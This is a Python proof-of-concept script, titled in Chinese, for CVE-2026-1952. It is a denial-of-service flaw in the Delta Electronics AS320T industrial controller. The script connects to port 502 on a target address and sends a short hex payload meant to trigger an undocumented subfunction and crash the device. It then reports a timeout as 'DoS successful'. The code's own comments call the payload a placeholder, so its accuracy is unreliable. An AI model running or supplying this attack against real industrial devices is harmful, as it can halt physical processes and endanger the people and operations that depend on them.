CVE-2026-1952 Delta AS320T拒绝服务漏洞

import socket import sys # Target configuration TARGET_IP = "192.168.1.100" # Replace with the actual IP of the AS320T device TARGET_PORT = 502 # Replace with the actual vulnerable port def send_dos_payload(): """ Sends a payload to trigger the undocumented subfunction leading to Denial of Service on Delta Electronics AS320T. """ try: print(f"[+] Attempting to connect to {TARGET_IP}:{TARGET_PORT}...") # Establish a TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) print("[+] Connection established.") # Constructing the payload to trigger the undocumented subfunction # Note: The specific hex sequence represents the malicious subfunction call # This is a placeholder based on the vulnerability description. payload = b"\x00\x00\x00\x00\x00\x06\x01\xFF\x00\x00\x00\x01" print("[+] Sending malicious payload...") s.send(payload) # Wait briefly for the crash to occur s.recv(1024) print("[+] Payload sent successfully. Check device status.") except socket.timeout: print("[!] Connection timed out. The device may have crashed (DoS successful).") except ConnectionRefusedError: print("[-] Connection refused. Device may already be down or port is closed.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": send_dos_payload()